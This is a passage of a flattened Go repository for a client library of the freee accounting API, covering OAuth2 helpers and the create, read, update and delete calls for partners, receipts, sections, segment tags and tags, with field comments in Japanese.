233 | return oauth2Token, err
234 | }
235 |
236 | return oauth2Token, nil
237 | }
238 |
239 | func (c *Client) GetManualJournal(
240 | ctx context.Context, oauth2Token *oauth2.Token,
241 | companyID int64, journalID int64, opts GetManualJournalsOpts,
242 | ) (*ManualJournalResponse, *oauth2.Token, error) {
243 | var result ManualJournalResponse
244 |
245 | v, err := query.Values(opts)
246 | if err != nil {
247 | return nil, oauth2Token, err
248 | }
249 |
250 | SetCompanyID(&v, companyID)
251 | oauth2Token, err = c.call(ctx, path.Join(APIPathManualJournals, fmt.Sprint(journalID)), http.MethodGet, oauth2Token, v, nil, &result)
252 | if err != nil {
253 | return nil, oauth2Token, err
254 | }
255 |
256 | return &result, oauth2Token, nil
257 | }
258 |
259 | func (c *Client) GetManualJournals(
260 | ctx context.Context, oauth2Token *oauth2.Token,
261 | companyID int64, opts GetManualJournalsOpts,
262 | ) (*ManualJournalsResponse, *oauth2.Token, error) {
263 | var result ManualJournalsResponse
264 |
265 | v, err := query.Values(opts)
266 | if err != nil {
267 | return nil, oauth2Token, err
268 | }
269 |
270 | SetCompanyID(&v, companyID)
271 | oauth2Token, err = c.call(ctx, path.Join(APIPathManualJournals), http.MethodGet, oauth2Token, v, nil, &result)
272 | if err != nil {
273 | return nil, oauth2Token, err
274 | }
275 |
276 | return &result, oauth2Token, nil
277 | }
278 |
--------------------------------------------------------------------------------
/oauth2.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "context"
5 |
6 | "golang.org/x/oauth2"
7 | )
8 |
9 | const (
10 | Oauth2TokenURL = "https://accounts.secure.freee.co.jp/public_api/token"
11 | Oauth2AuthURL = "https://accounts.secure.freee.co.jp/public_api/authorize"
12 | )
13 |
14 | func (c *Client) AuthCodeURL(state string, opts ...oauth2.AuthCodeOption) string {
15 | return c.config.Oauth2.AuthCodeURL(state, opts...)
16 | }
17 |
18 | func (c *Client) Exchange(ctx context.Context, code string, opts ...oauth2.AuthCodeOption) (*oauth2.Token, error) {
19 | return c.config.Oauth2.Exchange(ctx, code, opts...)
20 | }
21 |
--------------------------------------------------------------------------------
/partners.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "context"
5 | "errors"
6 | "fmt"
7 | "net/http"
8 | "path"
9 |
10 | "github.com/google/go-querystring/query"
11 | "golang.org/x/oauth2"
12 | )
13 |
14 | const (
15 | APIPathPartners = "partners"
16 |
17 | // 口座種別
18 | // ordinary:普通
19 | BankAccountAccountTypeOrdinary = "ordinary"
20 | // checking:当座
21 | BankAccountAccountTypeChecking = "checking"
22 | // earmarked:納税準備預金
23 | BankAccountAccountTypeEarmarked = "earmarked"
24 | // savings:貯蓄
25 | BankAccountAccountTypeSavings = "savings"
26 | // other:その他
27 | BankAccountAccountTypeOther = "other"
28 | )
29 |
30 | type Partners struct {
31 | Partners []Partner `json:"partners"`
32 | }
33 |
34 | type PartnerResponse struct {
35 | Partner Partner `json:"partner"`
36 | }
37 |
38 | type Partner struct {
39 | // 取引先ID
40 | ID int64 `json:"id"`
41 | // 取引先コード
42 | Code *string `json:"code,omitempty"`
43 | // 事業所ID
44 | CompanyID int64 `json:"company_id"`
45 | // 取引先名
46 | Name string `json:"name"`
47 | // 更新日 (yyyy-mm-dd)
48 | UpdateDate string `json:"update_date"`
49 | // 取引先の使用設定(true: 使用する、false: 使用しない)
50 | Available bool `json:"available"`
51 | // ショートカット1 (20文字以内)
52 | Shortcut1 *string `json:"shortcut1,omitempty"`
53 | // ショートカット2 (20文字以内)
54 | Shortcut2 *string `json:"shortcut2,omitempty"`
55 | // 事業所種別(null: 未設定、1: 法人、2: 個人)
56 | OrgCode *int64 `json:"org_code,omitempty"`
57 | // 地域(JP: 国内、ZZ:国外)
58 | CountryCode string `json:"country_code,omitempty"`
59 | // 正式名称(255文字以内)
60 | LongName *string `json:"long_name,omitempty"`
61 | // カナ名称(255文字以内)
62 | NameKana *string `json:"name_kana,omitempty"`
63 | // 敬称(御中、様、(空白)の3つから選択)
64 | DefaultTitle *string `json:"default_title,omitempty"`
65 | // 電話番号
66 | Phone *string `json:"phone,omitempty"`
67 | // 担当者 氏名
68 | ContactName *string `json:"contact_name,omitempty"`
69 | // 担当者 メールアドレス
70 | Email *string `json:"email,omitempty"`
71 | // 振込元口座ID(一括振込ファイル用):(未設定の場合は、nullです。)
72 | PayerWalletableID *int64 `json:"payer_walletable_id,omitempty"`
73 | // 振込手数料負担(一括振込ファイル用): (振込元(当方): payer, 振込先(先方): payee)
74 | TransferFeeHandlingSide string `json:"transfer_fee_handling_side,omitempty"`
75 | // インボイス制度適格請求書発行事業者(true: 対象事業者、false: 非対象事業者)
76 | QualifiedInvoiceIssuer *bool `json:"qualified_invoice_issuer,omitempty"`
77 | // インボイス制度適格請求書発行事業者登録番号
78 | InvoiceRegistrationNumber *string `json:"invoice_registration_number,omitempty"`
79 | //
80 | AddressAttributes *PartnerAddressAttributes `json:"address_attributes,omitempty"`
81 | //
82 | DocSettingAttributes *PartnerDocSettingAttributes `json:"partner_doc_setting_attributes,omitempty"`
83 | //
84 | BankAccountAttributes *PartnerBankAccountAttributes `json:"partner_bank_account_attributes,omitempty"`
85 | }
86 |
87 | type PartnerAddressAttributes struct {
88 | // 郵便番号
89 | Zipcode *string `json:"zipcode,omitempty"`
90 | // 都道府県コード(0:北海道、1:青森、2:岩手、3:宮城、4:秋田、5:山形、6:福島、7:茨城、8:栃木、9:群馬、10:埼玉、11:千葉、12:東京、13:神奈川、14:新潟、15:富山、16:石川、17:福井、18:山梨、19:長野、20:岐阜、21:静岡、22:愛知、23:三重、24:滋賀、25:京都、26:大阪、27:兵庫、28:奈良、29:和歌山、30:鳥取、31:島根、32:岡山、33:広島、34:山口、35:徳島、36:香川、37:愛媛、38:高知、39:福岡、40:佐賀、41:長崎、42:熊本、43:大分、44:宮崎、45:鹿児島、46:沖縄
91 | PrefectureCode int64 `json:"prefecture_code,omitempty"`
92 | // 市区町村・番地
93 | StreetName1 *string `json:"street_name1,omitempty"`
94 | // 建物名・部屋番号など
95 | StreetName2 *string `json:"street_name2,omitempty"`
96 | }
97 |
98 | type PartnerDocSettingAttributes struct {
99 | // 請求書送付方法(mail:メール、posting:郵送、mail_and_posting:メールと郵送)
100 | SendingMethod *string `json:"sending_method,omitempty"`
101 | }
102 |
103 | type PartnerBankAccountAttributes struct {
104 | // 銀行名
105 | BankName *string `json:"bank_name,omitempty"`
106 | // 銀行名(カナ)
107 | BankNameKana *string `json:"bank_name_kana,omitempty"`
108 | // 銀行番号
109 | BankCode *string `json:"bank_code,omitempty"`
110 | // 支店名
111 | BranchName *string `json:"branch_name,omitempty"`
112 | // 支店名(カナ)
113 | BranchKana *string `json:"branch_kana,omitempty"`
114 | // 支店番号
115 | BranchCode *string `json:"branch_code,omitempty"`
116 | // 口座種別(ordinary:普通、checking:当座、earmarked:納税準備預金、savings:貯蓄、other:その他)
117 | AccountType *string `json:"account_type,omitempty"`
118 | // 口座番号
119 | AccountNumber *string `json:"account_number,omitempty"`
120 | // 受取人名(カナ)
121 | AccountName *string `json:"account_name,omitempty"`
122 | // 受取人名
123 | LongAccountName *string `json:"long_account_name,omitempty"`
124 | }
125 |
126 | type CreatePartnerParams struct {
127 | // 事業所ID
128 | CompanyID int64 `json:"company_id"`
129 | // 取引先名 (255文字以内)
130 | Name string `json:"name"`
131 | // 取引先コード(取引先コードの利用を有効にしている場合は、codeの指定は必須です。)
132 | Code string `json:"code,omitempty"`
133 | // ショートカット1 (255文字以内)
134 | Shortcut1 string `json:"shortcut1,omitempty"`
135 | // ショートカット2 (255文字以内)
136 | Shortcut2 string `json:"shortcut2,omitempty"`
137 | // 事業所種別(null: 未設定、1: 法人、2: 個人)
138 | OrgCode *int64 `json:"org_code,omitempty"`
139 | // 地域(JP: 国内、ZZ:国外)
140 | CountryCode string `json:"country_code,omitempty"`
141 | // 正式名称(255文字以内)
142 | LongName string `json:"long_name,omitempty"`
143 | // カナ名称(255文字以内)
144 | NameKana string `json:"name_kana,omitempty"`
145 | // 敬称(御中、様、(空白)の3つから選択)
146 | DefaultTitle string `json:"default_title,omitempty"`
147 | // 電話番号
148 | Phone string `json:"phone,omitempty"`
149 | // 担当者 氏名 (255文字以内)
150 | ContactName string `json:"contact_name,omitempty"`
151 | // 担当者 メールアドレス (255文字以内)
152 | Email string `json:"email,omitempty"`
153 | // 振込元口座ID(一括振込ファイル用):(walletableのtypeが'bank_account'のidのみ指定できます。また、未設定にする場合は、nullを指定してください。)
154 | PayerWalletableID *int64 `json:"payer_walletable_id,omitempty"`
155 | // 振込手数料負担(一括振込ファイル用): (振込元(当方): payer, 振込先(先方): payee)
156 | TransferFeeHandlingSide string `json:"transfer_fee_handling_side,omitempty"`
157 | // インボイス制度適格請求書発行事業者(true: 対象事業者、false: 非対象事業者)
158 | QualifiedInvoiceIssuer *bool `json:"qualified_invoice_issuer,omitempty"`
159 | // インボイス制度適格請求書発行事業者登録番号
160 | InvoiceRegistrationNumber *string `json:"invoice_registration_number,omitempty"`
161 | //
162 | AddressAttributes CreatePartnerParamsAddressAttributes `json:"address_attributes,omitempty"`
163 | PartnerDocSettingAttributes CreatePartnerParamsPartnerDocSettingAttributes `json:"partner_doc_setting_attributes,omitempty"`
164 | PartnerBankAccountAttributes CreatePartnerParamsPartnerBankAccountAttributes `json:"partner_bank_account_attributes,omitempty"`
165 | PaymentTermAttributes CreatePartnerParamsPaymentTermAttributes `json:"payment_term_attributes,omitempty"`
166 | InvoicePaymentTermAttributes CreatePartnerParamsPaymentTermAttributes `json:"invoice_payment_term_attributes,omitempty"`
167 | }
168 |
169 | type CreatePartnerParamsAddressAttributes struct {
170 | // 郵便番号(8文字以内)
171 | Zipcode string `json:"zipcode,omitempty"`
172 | // 都道府県コード(0: 北海道、1:青森、2:岩手、3:宮城、4:秋田、5:山形、6:福島、7:茨城、8:栃木、9:群馬、10:埼玉、11:千葉、12:東京、13:神奈川、14:新潟、15:富山、16:石川、17:福井、18:山梨、19:長野、20:岐阜、21:静岡、22:愛知、23:三重、24:滋賀、25:京都、26:大阪、27:兵庫、28:奈良、29:和歌山、30:鳥取、31:島根、32:岡山、33:広島、34:山口、35:徳島、36:香川、37:愛媛、38:高知、39:福岡、40:佐賀、41:長崎、42:熊本、43:大分、44:宮崎、45:鹿児島、46:沖縄
173 | PrefectureCode int64 `json:"prefecture_code,omitempty"`
174 | // 市区町村・番地(255文字以内)
175 | StreetName1 string `json:"street_name1,omitempty"`
176 | // 建物名・部屋番号など(255文字以内)
177 | StreetName2 string `json:"street_name2,omitempty"`
178 | }
179 |
180 | type CreatePartnerParamsPartnerDocSettingAttributes struct {
181 | // 請求書送付方法(email:メール、posting:郵送、email_and_posting:メールと郵送)
182 | SendingMethod string `json:"sending_method,omitempty"`
183 | }
184 |
185 | type CreatePartnerParamsPartnerBankAccountAttributes struct {
186 | // 銀行名
187 | BankName string `json:"bank_name,omitempty"`
188 | // 銀行名(カナ)
189 | BankNameKana string `json:"bank_name_kana,omitempty"`
190 | // 銀行番号
191 | BankCode string `json:"bank_code,omitempty"`
192 | // 支店名
193 | BranchName string `json:"branch_name,omitempty"`
194 | // 支店名(カナ)
195 | BranchKana string `json:"branch_kana,omitempty"`
196 | // 支店番号
197 | BranchCode string `json:"branch_code,omitempty"`
198 | // 口座種別(ordinary:普通、checking:当座、earmarked:納税準備預金、savings:貯蓄、other:その他)
199 | AccountType string `json:"account_type,omitempty"`
200 | // 口座番号
201 | AccountNumber string `json:"account_number,omitempty"`
202 | // 受取人名
203 | LongAccountName string `json:"long_account_name,omitempty"`
204 | // 受取人名(カナ)
205 | AccountName string `json:"account_name,omitempty"`
206 | }
207 |
208 | type CreatePartnerParamsPaymentTermAttributes struct {
209 | // 締め日(29, 30, 31日の末日を指定する場合は、32を指定してください。)
210 | CutoffDay int64 `json:"cutoff_day,omitempty"`
211 | // 支払月
212 | AdditionalMonths int64 `json:"additional_months,omitempty"`
213 | // 支払日(29, 30, 31日の末日を指定する場合は、32を指定してください。)
214 | FixedDay int64 `json:"fixed_day,omitempty"`
215 | }
216 |
217 | func (c *Client) CreatePartner(
218 | ctx context.Context, oauth2Token *oauth2.Token,
219 | params CreatePartnerParams,
220 | ) (*Partner, *oauth2.Token, error) {
221 | var result PartnerResponse
222 |
223 | oauth2Token, err := c.call(ctx, APIPathPartners, http.MethodPost, oauth2Token, nil, params, &result)
224 | if err != nil {
225 | return nil, oauth2Token, err
226 | }
227 |
228 | if &result == nil || &result.Partner == nil {
229 | return nil, oauth2Token, errors.New("failed to parse response")
230 | }
231 | return &result.Partner, oauth2Token, nil
232 | }
233 |
234 | type UpdatePartnerParams struct {
235 | // 事業所ID
236 | CompanyID int64 `json:"company_id"`
237 | // 取引先名 (255文字以内)
238 | Name string `json:"name"`
239 | // ショートカット1 (255文字以内)
240 | Shortcut1 string `json:"shortcut1,omitempty"`
241 | // ショートカット2 (255文字以内)
242 | Shortcut2 string `json:"shortcut2,omitempty"`
243 | // 事業所種別(null: 未設定、1: 法人、2: 個人)
244 | OrgCode *int64 `json:"org_code,omitempty"`
245 | // 地域(JP: 国内、ZZ:国外)
246 | CountryCode string `json:"country_code,omitempty"`
247 | // 正式名称(255文字以内)
248 | LongName string `json:"long_name,omitempty"`
249 | // カナ名称(255文字以内)
250 | NameKana string `json:"name_kana,omitempty"`
251 | // 敬称(御中、様、(空白)の3つから選択)
252 | DefaultTitle string `json:"default_title,omitempty"`
253 | // 電話番号
254 | Phone string `json:"phone,omitempty"`
255 | // 担当者 氏名 (255文字以内)
256 | ContactName string `json:"contact_name,omitempty"`
257 | // 担当者 メールアドレス (255文字以内)
258 | Email string `json:"email,omitempty"`
259 | // 振込元口座ID(一括振込ファイル用):(walletableのtypeが'bank_account'のidのみ指定できます。また、未設定にする場合は、nullを指定してください。)
260 | PayerWalletableID *int64 `json:"payer_walletable_id,omitempty"`
261 | // 振込手数料負担(一括振込ファイル用): (振込元(当方): payer, 振込先(先方): payee)
262 | TransferFeeHandlingSide string `json:"transfer_fee_handling_side,omitempty"`
263 | // インボイス制度適格請求書発行事業者(true: 対象事業者、false: 非対象事業者)
264 | QualifiedInvoiceIssuer *bool `json:"qualified_invoice_issuer,omitempty"`
265 | // インボイス制度適格請求書発行事業者登録番号
266 | InvoiceRegistrationNumber *string `json:"invoice_registration_number,omitempty"`
267 | //
268 | AddressAttributes CreatePartnerParamsAddressAttributes `json:"address_attributes,omitempty"`
269 | PartnerDocSettingAttributes CreatePartnerParamsPartnerDocSettingAttributes `json:"partner_doc_setting_attributes,omitempty"`
270 | PartnerBankAccountAttributes CreatePartnerParamsPartnerBankAccountAttributes `json:"partner_bank_account_attributes,omitempty"`
271 | PaymentTermAttributes CreatePartnerParamsPaymentTermAttributes `json:"payment_term_attributes,omitempty"`
272 | InvoicePaymentTermAttributes CreatePartnerParamsPaymentTermAttributes `json:"invoice_payment_term_attributes,omitempty"`
273 | }
274 |
275 | func (c *Client) UpdatePartner(
276 | ctx context.Context, oauth2Token *oauth2.Token,
277 | partnerID int64, params UpdatePartnerParams,
278 | ) (*Partner, *oauth2.Token, error) {
279 | var result PartnerResponse
280 |
281 | oauth2Token, err := c.call(ctx, path.Join(APIPathPartners, fmt.Sprint(partnerID)), http.MethodPut, oauth2Token, nil, params, &result)
282 | if err != nil {
283 | return nil, oauth2Token, err
284 | }
285 |
286 | if &result == nil || &result.Partner == nil {
287 | return nil, oauth2Token, errors.New("failed to parse response")
288 | }
289 | return &result.Partner, oauth2Token, nil
290 | }
291 |
292 | type GetPartnersOpts struct {
293 | Offset int64 `url:"offset,omitempty"`
294 | Limit int64 `url:"limit,omitempty"`
295 | Keyword string `url:"keyword,omitempty"`
296 | }
297 |
298 | func (c *Client) GetPartners(
299 | ctx context.Context, oauth2Token *oauth2.Token,
300 | companyID int64, opts GetPartnersOpts,
301 | ) (*Partners, *oauth2.Token, error) {
302 | var result Partners
303 |
304 | v, err := query.Values(opts)
305 | if err != nil {
306 | return nil, oauth2Token, err
307 | }
308 | SetCompanyID(&v, companyID)
309 | oauth2Token, err = c.call(ctx, APIPathPartners, http.MethodGet, oauth2Token, v, nil, &result)
310 | if err != nil {
311 | return nil, oauth2Token, err
312 | }
313 |
314 | return &result, oauth2Token, nil
315 | }
316 |
317 | func (c *Client) DestroyPartner(
318 | ctx context.Context, oauth2Token *oauth2.Token,
319 | companyID int64, partnerID int64,
320 | ) (*oauth2.Token, error) {
321 | v, err := query.Values(nil)
322 | if err != nil {
323 | return oauth2Token, err
324 | }
325 | SetCompanyID(&v, companyID)
326 | oauth2Token, err = c.call(ctx, path.Join(APIPathPartners, fmt.Sprint(partnerID)), http.MethodDelete, oauth2Token, v, nil, nil)
327 | if err != nil {
328 | return oauth2Token, err
329 | }
330 |
331 | return oauth2Token, nil
332 | }
333 |
--------------------------------------------------------------------------------
/receipts.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "net/http"
7 | "path"
8 |
9 | "github.com/google/go-querystring/query"
10 | "golang.org/x/oauth2"
11 | )
12 |
13 | const (
14 | APIPathReceipts = "receipts"
15 | )
16 |
17 | type CreateReceiptParams struct {
18 | // 事業所ID
19 | CompanyID int64 `json:"company_id"`
20 | // メモ (255文字以内)
21 | Description string `json:"description,omitempty"`
22 | // 取引日 (yyyy-mm-dd)
23 | IssueDate string `json:"issue_date"`
24 | // 証憑ファイル
25 | Receipt []byte `json:"receipt"`
26 | }
27 |
28 | type Receipts struct {
29 | Receipts []Receipt `json:"receipts"`
30 | }
31 |
32 | type ReceiptResponse struct {
33 | Receipt Receipt `json:"receipt"`
34 | }
35 |
36 | type Receipt struct {
37 | // 証憑ID
38 | ID int64 `json:"id"`
39 | // ステータス(unconfirmed:確認待ち、confirmed:確認済み、deleted:削除済み、ignored:無視)
40 | Status string `json:"status"`
41 | // メモ
42 | Description string `json:"description,omitempty"`
43 | // MIMEタイプ
44 | MimeType string `json:"mime_type"`
45 | // 発生日
46 | IssueDate string `json:"issue_date,omitempty"`
47 | // アップロード元種別
48 | Origin string `json:"origin"`
49 | // 作成日時(ISO8601形式)
50 | CreatedAt string `json:"created_at"`
51 | // ファイルのダウンロードURL(freeeにログインした状態でのみ閲覧可能です。)
file_srcは廃止予定の属性になります。
file_srcに替わり、証憑ファイルのダウンロード APIをご利用ください。
証憑ファイルのダウンロードAPIを利用することで、以下のようになります。 - アプリケーション利用者はfreee APIアプリケーションにログインしていれば、証憑ダウンロード毎にfreeeに改めてログインすることなくファイルが参照できるようになります。
52 | FileSrc string `json:"file_src"`
53 | User UserCreatedReceipt `json:"user"`
54 | }
55 |
56 | type GetReceiptOpts struct {
57 | StartDate string `url:"start_date"`
58 | EndDate string `url:"end_date"`
59 | UserName string `url:"user_name,omitempty"`
60 | Number int64 `url:"number,omitempty"`
61 | CommentType string `url:"comment_type,omitempty"`
62 | CommentImportant bool `url:"comment_important,omitempty"`
63 | Category string `url:"category,omitempty"`
64 | Offset int64 `url:"offset,omitempty"`
65 | Limit int64 `url:"limit,omitempty"`
66 | }
67 |
68 | type UserCreatedReceipt struct {
69 | // ユーザーID
70 | ID int64 `json:"id"`
71 | // メールアドレス
72 | Email string `json:"email"`
73 | // 表示名
74 | DisplayName string `json:"display_name,omitempty"`
75 | }
76 |
77 | func (c *Client) CreateReceipt(
78 | ctx context.Context, oauth2Token *oauth2.Token,
79 | params CreateReceiptParams,
80 | receiptName string,
81 | ) (*ReceiptResponse, *oauth2.Token, error) {
82 | postBody := map[string]string{
83 | "company_id": fmt.Sprint(params.CompanyID),
84 | "description": params.Description,
85 | "issue_date": params.IssueDate,
86 | }
87 | var result ReceiptResponse
88 | oauth2Token, err := c.postFiles(ctx, APIPathReceipts, http.MethodPost, oauth2Token, nil, postBody, receiptName, params.Receipt, &result)
89 | if err != nil {
90 | return nil, oauth2Token, err
91 | }
92 | return &result, oauth2Token, nil
93 | }
94 |
95 | func (c *Client) GetReceipt(
96 | ctx context.Context, oauth2Token *oauth2.Token, companyID int64, receiptID int64,
97 | ) (*ReceiptResponse, *oauth2.Token, error) {
98 | var result ReceiptResponse
99 |
100 | v, err := query.Values(nil)
101 | if err != nil {
102 | return nil, oauth2Token, err
103 | }
104 | SetCompanyID(&v, companyID)
105 | oauth2Token, err = c.call(ctx, path.Join(APIPathReceipts, fmt.Sprint(receiptID)), http.MethodGet, oauth2Token, v, nil, &result)
106 | if err != nil {
107 | return nil, oauth2Token, err
108 | }
109 | return &result, oauth2Token, nil
110 | }
111 |
--------------------------------------------------------------------------------
/renovate.json:
--------------------------------------------------------------------------------
1 | {
2 | "$schema": "https://docs.renovatebot.com/renovate-schema.json"
3 | }
4 |
--------------------------------------------------------------------------------
/sections.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "net/http"
7 | "path"
8 |
9 | "github.com/google/go-querystring/query"
10 | "golang.org/x/oauth2"
11 | )
12 |
13 | const (
14 | APIPathSections = "sections"
15 | )
16 |
17 | type Sections struct {
18 | Sections []Section `json:"sections"`
19 | }
20 |
21 | type SectionResponse struct {
22 | Section Section `json:"section"`
23 | }
24 |
25 | type Section struct {
26 | // 部門ID
27 | ID int64 `json:"id"`
28 | // 事業所ID
29 | CompanyID int64 `json:"company_id"`
30 | // 部門コード
31 | Code *string `json:"code,omitempty"`
32 | // 部門名 (30文字以内)
33 | Name string `json:"name"`
34 | // 部門の使用設定(true: 使用する、false: 使用しない)
35 | Available bool `json:"available"`
36 | // ショートカット1 (20文字以内)
37 | Shortcut1 *string `json:"shortcut1,omitempty"`
38 | // ショートカット2 (20文字以内)
39 | Shortcut2 *string `json:"shortcut2,omitempty"`
40 | }
41 |
42 | type SectionParams struct {
43 | // 事業所ID
44 | CompanyID int64 `json:"company_id"`
45 | // 部門コード(利用を有効にしている場合は必須)
46 | Code *string `json:"code,omitempty"`
47 | // 部門名 (30文字以内)
48 | Name string `json:"name"`
49 | // 正式名称 (255文字以内)
50 | LongName *string `json:"long_name,omitempty"`
51 | // ショートカット1 (20文字以内)
52 | Shortcut1 *string `json:"shortcut1,omitempty"`
53 | // ショートカット2 (20文字以内)
54 | Shortcut2 *string `json:"shortcut2,omitempty"`
55 | // 親部門ID (ビジネスプラン以上)
56 | ParentID *int64 `json:"parent_id,omitempty"`
57 | }
58 |
59 | func (c *Client) GetSections(
60 | ctx context.Context, oauth2Token *oauth2.Token,
61 | companyID int64,
62 | ) (*Sections, *oauth2.Token, error) {
63 | var result Sections
64 |
65 | v, err := query.Values(nil)
66 | if err != nil {
67 | return nil, oauth2Token, err
68 | }
69 | SetCompanyID(&v, companyID)
70 | oauth2Token, err = c.call(ctx, APIPathSections, http.MethodGet, oauth2Token, v, nil, &result)
71 | if err != nil {
72 | return nil, oauth2Token, err
73 | }
74 |
75 | return &result, oauth2Token, nil
76 | }
77 |
78 | func (c *Client) CreateSection(
79 | ctx context.Context, oauth2Token *oauth2.Token,
80 | params SectionParams,
81 | ) (*Section, *oauth2.Token, error) {
82 | var result SectionResponse
83 | oauth2Token, err := c.call(ctx, APIPathSections, http.MethodPost, oauth2Token, nil, params, &result)
84 | if err != nil {
85 | return nil, oauth2Token, err
86 | }
87 | return &result.Section, oauth2Token, nil
88 | }
89 |
90 | func (c *Client) UpdateSection(
91 | ctx context.Context, oauth2Token *oauth2.Token,
92 | sectionID int64, params SectionParams,
93 | ) (*Section, *oauth2.Token, error) {
94 | var result SectionResponse
95 | oauth2Token, err := c.call(ctx, path.Join(APIPathSections, fmt.Sprint(sectionID)), http.MethodPut, oauth2Token, nil, params, &result)
96 | if err != nil {
97 | return nil, oauth2Token, err
98 | }
99 | return &result.Section, oauth2Token, nil
100 | }
101 |
102 | func (c *Client) DestroySection(
103 | ctx context.Context, oauth2Token *oauth2.Token,
104 | companyID int64, sectionID int64,
105 | ) (*oauth2.Token, error) {
106 | v, err := query.Values(nil)
107 | if err != nil {
108 | return oauth2Token, err
109 | }
110 | SetCompanyID(&v, companyID)
111 | oauth2Token, err = c.call(ctx, path.Join(APIPathSections, fmt.Sprint(sectionID)), http.MethodDelete, oauth2Token, v, nil, nil)
112 | if err != nil {
113 | return oauth2Token, err
114 | }
115 |
116 | return oauth2Token, nil
117 | }
118 |
--------------------------------------------------------------------------------
/segment_tags.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "net/http"
7 | "path"
8 |
9 | "github.com/google/go-querystring/query"
10 | "golang.org/x/oauth2"
11 | )
12 |
13 | const (
14 | APIPathSegments = "segments"
15 | SegmentID1 = int64(1)
16 | SegmentID2 = int64(2)
17 | SegmentID3 = int64(3)
18 | )
19 |
20 | type SegmentTags struct {
21 | SegmentTags []SegmentTag `json:"segment_tags"`
22 | }
23 |
24 | type SegmentTagResponse struct {
25 | SegmentTag SegmentTag `json:"segment_tag"`
26 | }
27 |
28 | type SegmentTag struct {
29 | // セグメントタグID
30 | ID int64 `json:"id"`
31 | // セグメントコード(利用を有効にしている場合は必須)
32 | Code *string `json:"code,omitempty"`
33 | // セグメントタグ名
34 | Name string `json:"name"`
35 | // 備考
36 | Description *string `json:"description"`
37 | // ショートカット1 (20文字以内)
38 | Shortcut1 *string `json:"shortcut1"`
39 | // ショートカット2 (20文字以内)
40 | Shortcut2 *string `json:"shortcut2"`
41 | }
42 |
43 | type SegmentTagParams struct {
44 | // 事業所ID
45 | CompanyID int64 `json:"company_id"`
46 | // セグメントコード(利用を有効にしている場合は必須)
47 | Code *string `json:"code,omitempty"`
48 | // セグメントタグ名 (30文字以内)
49 | Name string `json:"name"`
50 | // 備考 (30文字以内)
51 | Description *string `json:"description,omitempty"`
52 | // ショートカット1 (20文字以内)
53 | Shortcut1 *string `json:"shortcut1,omitempty"`
54 | // ショートカット2 (20文字以内)
55 | Shortcut2 *string `json:"shortcut2,omitempty"`
56 | }
57 |
58 | type GetSegmentTagsOpts struct {
59 | Offset int64 `url:"offset,omitempty"`
60 | Limit int64 `url:"limit,omitempty"`
61 | }
62 |
63 | func (c *Client) GetSegmentTags(
64 | ctx context.Context, oauth2Token *oauth2.Token,
65 | companyID int64, segmentID int64,
66 | opts GetSegmentTagsOpts,
67 | ) (*SegmentTags, *oauth2.Token, error) {
68 | var result SegmentTags
69 |
70 | v, err := query.Values(opts)
71 | if err != nil {
72 | return nil, oauth2Token, err
73 | }
74 | SetCompanyID(&v, companyID)
75 | oauth2Token, err = c.call(ctx, path.Join(APIPathSegments, fmt.Sprint(segmentID), "tags"), http.MethodGet, oauth2Token, v, nil, &result)
76 | if err != nil {
77 | return nil, oauth2Token, err
78 | }
79 |
80 | return &result, oauth2Token, nil
81 | }
82 |
83 | func (c *Client) CreateSegmentTag(
84 | ctx context.Context, oauth2Token *oauth2.Token,
85 | segmentID int64, params SegmentTagParams,
86 | ) (*SegmentTag, *oauth2.Token, error) {
87 | var result SegmentTagResponse
88 | oauth2Token, err := c.call(ctx, path.Join(APIPathSegments, fmt.Sprint(segmentID), "tags"), http.MethodPost, oauth2Token, nil, params, &result)
89 | if err != nil {
90 | return nil, oauth2Token, err
91 | }
92 | return &result.SegmentTag, oauth2Token, nil
93 | }
94 |
95 | func (c *Client) UpdateSegmentTag(
96 | ctx context.Context, oauth2Token *oauth2.Token,
97 | segmentID int64, id int64,
98 | params SegmentTagParams,
99 | ) (*SegmentTag, *oauth2.Token, error) {
100 | var result SegmentTagResponse
101 | oauth2Token, err := c.call(ctx, path.Join(APIPathSegments, fmt.Sprint(segmentID), "tags", fmt.Sprint(id)), http.MethodPut, oauth2Token, nil, params, &result)
102 | if err != nil {
103 | return nil, oauth2Token, err
104 | }
105 | return &result.SegmentTag, oauth2Token, nil
106 | }
107 |
108 | func (c *Client) DestroySegmentTag(
109 | ctx context.Context, oauth2Token *oauth2.Token,
110 | companyID int64,
111 | segmentID int64, id int64,
112 | ) (*oauth2.Token, error) {
113 | v, err := query.Values(nil)
114 | if err != nil {
115 | return oauth2Token, err
116 | }
117 | SetCompanyID(&v, companyID)
118 | oauth2Token, err = c.call(ctx, path.Join(APIPathSegments, fmt.Sprint(segmentID), "tags", fmt.Sprint(id)), http.MethodDelete, oauth2Token, v, nil, nil)
119 | if err != nil {
120 | return oauth2Token, err
121 | }
122 |
123 | return oauth2Token, nil
124 | }
125 |
--------------------------------------------------------------------------------
/tags.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "net/http"
7 | "path"
8 |
9 | "github.com/google/go-querystring/query"
10 | "golang.org/x/oauth2"
11 | )
12 |
13 | const (
14 | APIPathTags = "tags"
15 | )
16 |
17 | type Tags struct {
18 | Tags []Tag `json:"tags"`
19 | }
20 |
21 | type TagResponse struct {
22 | Tag Tag `json:"tag"`
23 | }
24 |
25 | type Tag struct {
26 | // タグID
27 | ID int64 `json:"id"`
28 | // 事業所ID
29 | CompanyID int64 `json:"company_id"`
30 | // 名前(30文字以内)
31 | Name *string `json:"name"`
32 | // ショートカット1 (255文字以内)
33 | Shortcut1 *string `json:"shortcut1,omitempty"`
34 | // ショートカット2 (255文字以内)
35 | Shortcut2 *string `json:"shortcut2,omitempty"`
36 | }
37 |
38 | type TagParams struct {
39 | // 事業所ID
40 | CompanyID int64 `json:"company_id"`
41 | // メモタグ名 (30文字以内)
42 | Name string `json:"name"`
43 | // メモタグ検索用 (20文字以内)
44 | Shortcut1 *string `json:"shortcut1,omitempty"`
45 | // メモタグ検索用 (20文字以内)
46 | Shortcut2 *string `json:"shortcut2,omitempty"`
47 | }
48 |
49 | type GetTagsOpts struct {
50 | Offset int64 `url:"offset,omitempty"`
